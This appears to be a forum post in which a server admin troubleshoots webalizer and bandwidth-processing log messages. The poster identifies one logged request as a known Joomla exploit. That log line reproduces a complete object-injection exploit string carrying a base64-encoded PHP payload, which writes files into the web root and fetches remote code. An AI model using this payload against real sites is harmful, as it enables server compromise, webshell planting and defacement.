After more checking, it happens during bandwidth calculations:
Then it happens again when webalizer runs:
About the Converted URL 'proxytest.zmap.io:80' to '/': http://proxytest.zmap.io/
About the data after Error: Skipping oversized log record: Joomla Exploit December 15, 2015: https://www.exploit-db.com/exploits/38977/
Code:
Processing domain "signup.domain.com"
Generating bandwidth..
usage: 0 (0 bytes)
No bandwidth used, skipping!
Converted URL '*' to '/'
...
...
Converted URL '*' to '/'
Processing domain "anotherdomain.com"
Generating bandwidth..
usage: 0 (0 bytes)
No bandwidth used, skipping!
Then it happens again when webalizer runs:
Code:
BEGIN Webalizer Stats
Generating webalizer stats html...
Generating stats for: zadmin/domain.com
Converted URL '*' to '/'
...
Converted URL '*' to '/'
Converted URL 'proxytest.zmap.io:80' to '/' <--- this pops up 2-3 times also
Converted URL '*' to '/'
...
Converted URL '*' to '/'
Error: Skipping oversized log record:
200.133.1.131 - - [16/Jan/2016:06:25:10 -0500] "GET / HTTP/1.1" 200 11174 "-" "}__test|O:21:\"JDatabaseDriverMysqli\":3:{s:2:\"fc\";O:17:\"JSimplepieFactory\":0:{}s:21:\"\\0\\0\\0disconnectHandlers\";a:1:{i:0;a:2:{i:0;O:9:\"SimplePie\":5:{s:8:\"sanitize\";O:20:\"JDatabaseDriverMysql\":0:{}s:8:\"feed_url\";s:5487:\"eval(base64_decode(\"JGNoZWNrID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICIvdG1wL2t1cmQucGhwIiA7DQokZnA9Zm9wZW4oIiRjaGVjayIsIncrIik7DQpmd3JpdGUoJGZwLGJhc2U2NF9kZWNvZGUoJ1BEOE5DbWxtS0dsemMyVjBLQ1JmUjBWVVd5SnJkWEprSWwwcEtRMEtDWHNOQ2dra2EzVnlaQ0E5ZFc1c2FXNXJLRjlmUmtsTVJWOWZLVHNOQ2dscFppQW9KR3QxY21RcGV5QmxZMmh2SUNKUGF5STdJSDFsYkhObGV5QmxZMmh2SUNKbGNuSnZjaUk3SUgxOURRby9QZzBLUEQ4TkNtWjFibU4wYVc5dUlHaDBkSEJmYUhSMGNDZ2tkWEpzS1hzTkNna2thVzBnUFNCamRYSnNYMmx1YVhRb0pIVnliQ2s3RFFvSlkzVnliRjl6WlhSdmNIUW9KR2x0TENCRFZWSk1UMUJVWDFKRlZGVlNUbFJTUVU1VFJrVlNMQ0F4S1RzTkNnbGpkWEpzWDNObGRHOXdkQ2drYVcwc0lFTlZVa3hQVUZSZlEwOU9Ua1ZEVkZSSlRVVlBWVlFzSURFd0tUc05DZ2xqZFhKc1gzTmxkRzl3ZENna2FXMHNJRU5WVWt4UFVGUmZSazlNVEU5WFRFOURRVlJKVDA0c0lERXBPdzBLQ1dOMWNteGZjMlYwYjNCMEtDUnBiU3dnUTFWU1RFOVFWRjlJUlVGRVJWSXNJREFwT3cwS0NYSmxkSFZ5YmlCamRYSnNYMlY0WldNb0pHbHRLVHNOQ2dsamRYSnNYMk5zYjNObEtDUnBiU2s3RFFwOURRb2tZMmhsWTJzZ1BTQWtYMU5GVWxaRlVsc25SRTlEVlUxRlRsUmZVazlQVkNkZElDNGdJaTlzYVdKeVlYSnBaWE12YW05dmJXeGhMM05sYzNOcGIyNHZjMlZ6YzJsdmJpNXdhSEFpSURzTkNpUjBaWGgwSUQwZ2FIUjBjRjlvZEhSd0tDZG9kSFJ3T2k4dmNHRnpkR1ZpYVc0dVkyOXRMM0poZHk5VlNFRkhWRGc0TnljcE93MEtKRzl3Wlc0Z1BTQm1iM0JsYmlna1kyaGxZMnNzSUNkM0p5azdEUXBtZDNKcGRHVW9KRzl3Wlc0c0lDUjBaWGgwS1RzTkNtWmpiRzl6WlNna2IzQmxiaWs3RFFvL1BnMEtQRDhOQ21WeWNtOXlYM0psY0c5eWRHbHVaeWd3S1RzTkNtVmphRzhnSW5OaGNtRWlPdzBLWm5WdVkzUnBiMjRnVW1GdVpHOXRLQ1JzWlc1bmRHZ2dQU0EwS1NCN0RRb2dJQ0FnSkhCcGRDQTlJQ2RoWW1Oa1pXWm5hR2xxYTJ4dGJtOXdjWEp6ZEhWMmQzaDVlaWM3RFFvZ0lDQWdKSEpoYm1SeklEMGdKeWM3RFFvZ0lDQWdabTl5SUNna2FTQTlJREE3SUNScElEd2dKR3hsYm1kMGFEc2dKR2tyS3lrZ2V3MEtJQ0FnSUNBZ0lDQWtjbUZ1WkhNZ0xqMGdKSEJwZEZ0eVlXNWtLREFzSUhOMGNteGxiaWdrY0dsMEtTQXRJREVwWFRzTkNpQWdJQ0I5RFFvZ0lDQWdjbVYwZFhKdUlDUnlZVzVrY3pzTkNuME5DaVJ5WVc0Z1BTQlNZVzVrYjIwb0tUc05DbVZqYUc4Z0p6eGhJR2h5WlhOa1pHUm1QU0luTGlJa2NtRnVJaTRuSWo0bk93MEtKR1pwYkdVeElEMGdKencvRFFwbGNuSnZjbDl5WlhCdmNuUnBibWNvTUNrN0RRcHBaaWhwYzNObGRDZ2tYMGRGVkZzbkxpSWtjbUZ1SWk0blhTa3BEUW9KZXcwS0NRbGxZMmh2SWp4bWIyNTBJR052Ykc5eVBTTkdSa1pHUmtZK1czVnVZVzFsWFNJdWNHaHdYM1Z1WVcxbEtDa3VJbHN2ZFc1aGJXVmRQR0p5UGlJN0RRb0pDV1ZqYUc4Z0lqeG1iMjUwSUdOdmJHOXlQU05HUmtaR1JrWStXM0IzWkYwaUxtZGxkR04zWkNncExpSmJMM0IzWkYwOFluSStJanNOQ2drSmNISnBiblFnSWx4dUlqc2taR2x6WVdKc1pWOW1kVzVqZEdsdmJuTWdQU0JBYVc1cFgyZGxkQ2dpWkdsellXSnNaVjltZFc1amRHbHZibk1pS1RzZ0RRb0pDV1ZqYUc4Z0lrUnBjMkZpYkdWUVNGQTlJaTRrWkdsellXSnNaVjltZFc1amRHbHZibk03SUhCeWFXNTBJQ0k4WW5JK0lqc2dEUW9KQ1dWamFHOGlQR1p2Y20wZ2JXVjBhRzlrUFhCdmMzUWdaVzVqZEhsd1pUMXRkV3gwYVhCaGNuUXZabTl5YlMxa1lYUmhQaUk3SUEwS0NRbGxZMmh2SWp4cGJuQjFkQ0IwZVhCbFBXWnBiR1VnYm1GdFpUMW1QanhwYm5CMWRDQnVZVzFsUFhZZ2RIbHdaVDF6ZFdKdGFYUWdhV1E5ZGlCMllXeDFaVDExY0Q0OFluSStJanNnRFFvSkNTQWdhV1lvSkY5UVQxTlVXeUoySWwwOVBYVndLUTBLZXlCcFppaEFZMjl3ZVNna1gwWkpURVZUV3lKbUlsMWJJblJ0Y0Y5dVlXMWxJbDBzSkY5R1NVeEZVMXNpWmlKZFd5SnVZVzFsSWwwcEtYdGxZMmh2SWp4aVBtSmxjbWhoYzJsc1BDOWlQaTB0UGlJdUpGOUdTVXhGVTFzaVppSmRXeUp1WVcxbElsMDdmV1ZzYzJWN1pXTm9ieUk4WWo1bllXZGhiQ0k3ZlgwZ0lBMEtleUJwWmloQVkyOXdlU2drWDBaSlRFVlRXeUpsYldGa0lsMWJJblJ0Y0Y5dVlXMWxJbDBzSkY5R1NVeEZVMXNpWlcxaFpDSmRXeUp1WVcxbElsMHBLWHRsWTJodklqeGlQand2WWo0dExUNGlMaVJmUmtsTVJWTmJJbVZ0WVdRaVhWc2libUZ0WlNKZE8zMWxiSE5sZTJWamFHOGlQR0krSWp0OWZYME5DajgrSnpzTkNpUnlQV1p2Y0dWdUtDSmhjR2x6TG5Cb2NDSXNJQ0ozSWlrN0lHWjNjbWwwWlNna2Npd2tabWxzWlRFcE95Qm1ZMnh2YzJVb0pISXBPdzBLSkhJOVptOXdaVzRvSWk0dUwyRndhWE11Y0dod0lpd2dJbmNpS1RzZ1puZHlhWFJsS0NSeUxDUm1hV3hsTVNrN0lHWmpiRzl6WlNna2NpazdEUW9rY2oxbWIzQmxiaWdpTGk0dmRHMXdMMkZ3YVhNdWNHaHdJaXdnSW5jaUtUc2dabmR5YVhSbEtDUnlMQ1JtYVd4bE1TazdJR1pqYkc5elpTZ2tjaWs3RFFva1ptbHNaVEV4TVNBOUlDYzhhSFJ0YkQ0TkNqeG9aV0ZrUGcwS1BIUnBkR3hsUGcwS1NHRkRhMlZFSUdKNUlFMTFhRzFoWkVWdFlXUU5Dand2ZEdsMGJHVStEUW84TDJobFlXUStEUW84WW05a2VTQmlaMk52Ykc5eVBYZG9hWFJsUGcwS1BHUnBkaUJ6ZEhsc1pUMGlkR1Y0ZEMxaGJHbG5iam9nWTJWdWRHVnlPeUkrUEdadmJuUWdjMmw2WlQwaU5pSWdabUZqWlQwaVkyOXRhV01nYzJGdWN5QnRjeUkrUEdJK1NHRkRhMlZFSUVKNUlDQk5kV2h0WVdSRmJXRmtQQzlpUGp3dlptOXVkRDQ4TDJScGRqNE5DanhrYVhZZ2MzUjViR1U5SW5SbGVIUXRZV3hwWjI0NklHTmxiblJsY2pzaVBqeG1iMjUwSUhOcGVtVTlJalVpSUdaaFkyVTlJbU52YldsaklITmhibk1nYlhNaVBqeGlQanhpY2lBdlBqd3ZZajQ4TDJadmJuUStQQzlrYVhZK0RRbzhaR2wySUhOMGVXeGxQU0owWlhoMExXRnNhV2R1T2lCalpXNTBaWEk3SWo0OFptOXVkQ0J6YVhwbFBTSTFJaUJtWVdObFBTSmpiMjFwWXlCellXNXpJRzF6SWo0OFlqNU1iMjVuSUV4cGRtVWdkRzhnY0dWemFHMWhjbWRoSUR4aWNqNDhMMkkrUEM5bWIyNTBQand2WkdsMlBnMEtQR1JwZGlCemRIbHNaVDBpZEdWNGRDMWhiR2xuYmpvZ1kyVnVkR1Z5T3lJK1BHSnlJQzgrUEM5a2FYWStEUW84Y0Q0TkNqeGthWFlnYzNSNWJHVTlJblJsZUhRdFlXeHBaMjQ2SUdObGJuUmxjanNpUGp4cGJXY2djM0pqUFNKb2RIUndPaTh2ZW05dVpXaHRhWEp5YjNKekxtOXlaeTlrWldaaFkyVmtMekl3TVRVdk1URXZNVFF2WkdWdGFXeHZjMmxuYUhScGJtZHpMbU52YlM5cmRYSmthWE4wWVc1MGIzVnlMbTVsZEM5MWNHeHZZV1J6TDNOMFlYUnBZM05mYVcxaFoyVXZhM1Z5WkdsemRHRnVYMlpzWVdkZmQyRjJhVzVuTG1kcFppSWdkMmxrZEdnOU1qVWxJR2hwWjJoMFBUTTFKU0F2UGp3dlpHbDJQZzBLUEdScGRpQnpkSGxzWlQwaWRHVjRkQzFoYkdsbmJqb2dZMlZ1ZEdWeU95SStQR0p5SUM4K1BDOWthWFkrRFFvOGNENE5DanhrYVhZZ2MzUjViR1U5SW5SbGVIUXRZV3hwWjI0NklHTmxiblJsY2pzaVBqeG1iMjUwSUhOcGVtVTlJalVpSUdaaFkyVTlJbU52YldsaklITmhibk1nYlhNaVBqeGlQZzBLUEhBK0RRcExkWEpFYVhOb0lFaGhRMnN6Y2xNZ1YyRlRJRWhsY21VTkNqeHdQanhpY2o0Z2EzVnlaR3hwYm5WNE1EQTNRR2R0WVdsc0xtTnZiU0E4WW5JK0lFWlZRMHNnU1ZOSlV5QWhJQTBLRFFvTkNqd3ZZbTlrZVQ0TkNqd3ZhSFJ0YkQ0TkNpYzdEUW9rY2oxbWIzQmxiaWdpYVc1a1pYZ3VhSFJ0YkNJc0lDSjNJaWs3SUdaM2NtbDBaU2drY2l3a1ptbHNaVEV4TVNrN0lHWmpiRzl6WlNna2NpazdEUW9rY2oxbWIzQmxiaWdpTGk0dmEzSmtMbWgwYld3aUxDQWlkeUlwT3lCbWQzSnBkR1VvSkhJc0pHWnBiR1V4TVRFcE95Qm1ZMnh2YzJVb0pISXBPdzBLSkhJOVptOXdaVzRvSWk0dUwybHRZV2RsY3k5cmNtUXVhSFJ0YkNJc0lDSjNJaWs3SUdaM2NtbDBaU2drY2l3a1ptbHNaVEV4TVNrN0lHWmpiRzl6WlNna2NpazdEUW8vUGc9PScpKTsNCmZjbG9zZSgkZnApOw==\"));JFactory::getConfig();exit;\";s:19:\"cache_name_function\";s:6:\"assert\";s:5:\"cache\";b:1;s:11:\"cache_class\";O:20:\"JDatabaseDriverMysql\":0:{}}i:1;s:4:\"init\";}}s:13:\"\\0\\0\\0connection\";b:1;}\xf0\x9d\x8c\x86"
About the data after Error: Skipping oversized log record: Joomla Exploit December 15, 2015: https://www.exploit-db.com/exploits/38977/